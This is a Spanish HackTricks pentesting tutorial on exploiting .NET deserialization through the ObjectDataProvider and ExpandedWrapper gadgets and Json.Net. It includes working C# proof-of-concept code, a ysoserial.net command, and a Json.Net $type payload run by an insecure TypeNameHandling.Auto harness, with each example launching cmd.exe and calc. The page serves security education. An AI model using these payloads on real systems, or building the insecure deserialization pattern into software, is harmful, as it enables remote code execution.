hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

12 KiB

Deserialización básica de .Net (gadget ObjectDataProvider, ExpandedWrapper y Json.Net)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Este post está dedicado a entender cómo se explota el gadget ObjectDataProvider para obtener RCE y cómo se pueden abusar las bibliotecas de serialización Json.Net y xmlSerializer con ese gadget.

Gadget ObjectDataProvider

Según la documentación: la clase ObjectDataProvider envuelve y crea un objeto que se puede utilizar como origen de enlace.
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite envolver un objeto arbitrario, usar MethodParameters para establecer parámetros arbitrarios, y luego usar MethodName para llamar a una función arbitraria del objeto arbitrario declarado usando los parámetros arbitrarios.
Por lo tanto, el objeto arbitrario ejecutará una función con parámetros mientras se deserializa.

¿Cómo es posible?

ObjectDataProvider está definido e implementado en el espacio de nombres System.Windows.Data, que se encuentra en PresentationFramework.dll (C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF).

Usando dnSpy puedes inspeccionar el código de la clase que nos interesa. En la imagen a continuación estamos viendo el código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método

Como se puede observar, cuando se establece MethodName, se llama a base.Refresh(), veamos qué hace:

Bien, continuemos viendo qué hace this.BeginQuery(). BeginQuery es anulado por ObjectDataProvider y esto es lo que hace:

Ten en cuenta que al final del código se llama a this.QueryWorke(null). Veamos qué ejecuta eso:

Ten en cuenta que este no es el código completo de la función QueryWorker, pero muestra la parte interesante de ella: El código llama a this.InvokeMethodOnInstance(out ex); esta es la línea donde se invoca el método establecido.

Si quieres comprobar que solo con establecer el MethodName se ejecutará, puedes ejecutar este código:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
    class Program
    {
        static void Main(string[] args)
        {
            ObjectDataProvider myODP = new ObjectDataProvider();
            myODP.ObjectType = typeof(Process);
            myODP.MethodParameters.Add("cmd.exe");
            myODP.MethodParameters.Add("/c calc.exe");
            myODP.MethodName = "Start";
        }
    }
}

Ten en cuenta que necesitas agregar como referencia C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll para cargar System.Windows.Data.

ExpandedWrapper

Usando el exploit anterior, habrá casos en los que el objeto se va a deserializar como una instancia de ObjectDataProvider (por ejemplo, en la vulnerabilidad de DotNetNuke, usando XmlSerializer, el objeto se deserializó usando GetType). Entonces, no tendremos conocimiento del tipo de objeto que está envuelto en la instancia de ObjectDataProvider (Process, por ejemplo). Puedes encontrar más información sobre la vulnerabilidad de DotNetNuke aquí.

Esta clase permite especificar los tipos de objetos de los objetos que están encapsulados en una instancia dada. Por lo tanto, esta clase se puede utilizar para encapsular un objeto fuente (ObjectDataProvider) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (ObjectDataProvider.MethodName y ObjectDataProvider.MethodParameters).
Esto es muy útil para casos como el presentado anteriormente, porque podremos envolver _ObjectDataProvider** dentro de una instancia de **ExpandedWrapper y cuando se deserialice esta clase, creará el objeto OjectDataProvider que ejecutará la función indicada en MethodName.

Puedes comprobar este wrapper con el siguiente código:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
    class Program
    {
        static void Main(string[] args)
        {
            ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
            myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
            myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
            myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
            myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
            myExpWrap.ProjectedProperty0.MethodName = "Start";
        }
    }
}

Json.Net

En la página web oficial se indica que esta biblioteca permite serializar y deserializar cualquier objeto .NET con el potente serializador JSON de Json.NET. Por lo tanto, si pudiéramos deserializar el gadget ObjectDataProvider, podríamos causar una RCE simplemente deserializando un objeto.

Ejemplo de Json.Net

En primer lugar, veamos un ejemplo de cómo serializar/deserializar un objeto usando esta biblioteca:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
    public class Account
    {
        public string Email { get; set; }
        public bool Active { get; set; }
        public DateTime CreatedDate { get; set; }
        public IList<string> Roles { get; set; }
    }
    class Program
    {
        static void Main(string[] args)
        {
            Account account = new Account
            {
                Email = "james@example.com",
                Active = true,
                CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
                Roles = new List<string>
                {
                    "User",
                    "Admin"
                }
            };
            //Serialize the object and print it
            string json = JsonConvert.SerializeObject(account);
            Console.WriteLine(json);
            //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
            
            //Deserialize it
            Account desaccount = JsonConvert.DeserializeObject<Account>(json);
            Console.WriteLine(desaccount.Email);
        }
    }
}

Abusando de Json.Net

Utilizando ysoserial.net creé el exploit:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc.exe']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

En este código puedes probar el exploit, simplemente ejecútalo y verás que se ejecuta una calculadora:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
    class Program
    {
        static void Main(string[] args)
        {
            //Declare exploit
            string userdata = @"{
                '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
                'MethodName':'Start',
                'MethodParameters':{
                            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                    '$values':['cmd', '/c calc.exe']
                },
                'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
            }";
            //Exploit to base64
            string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

            //Get data from base64
            byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
            //Deserialize data
            string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
            object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.Auto
            });
        }
    }
}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥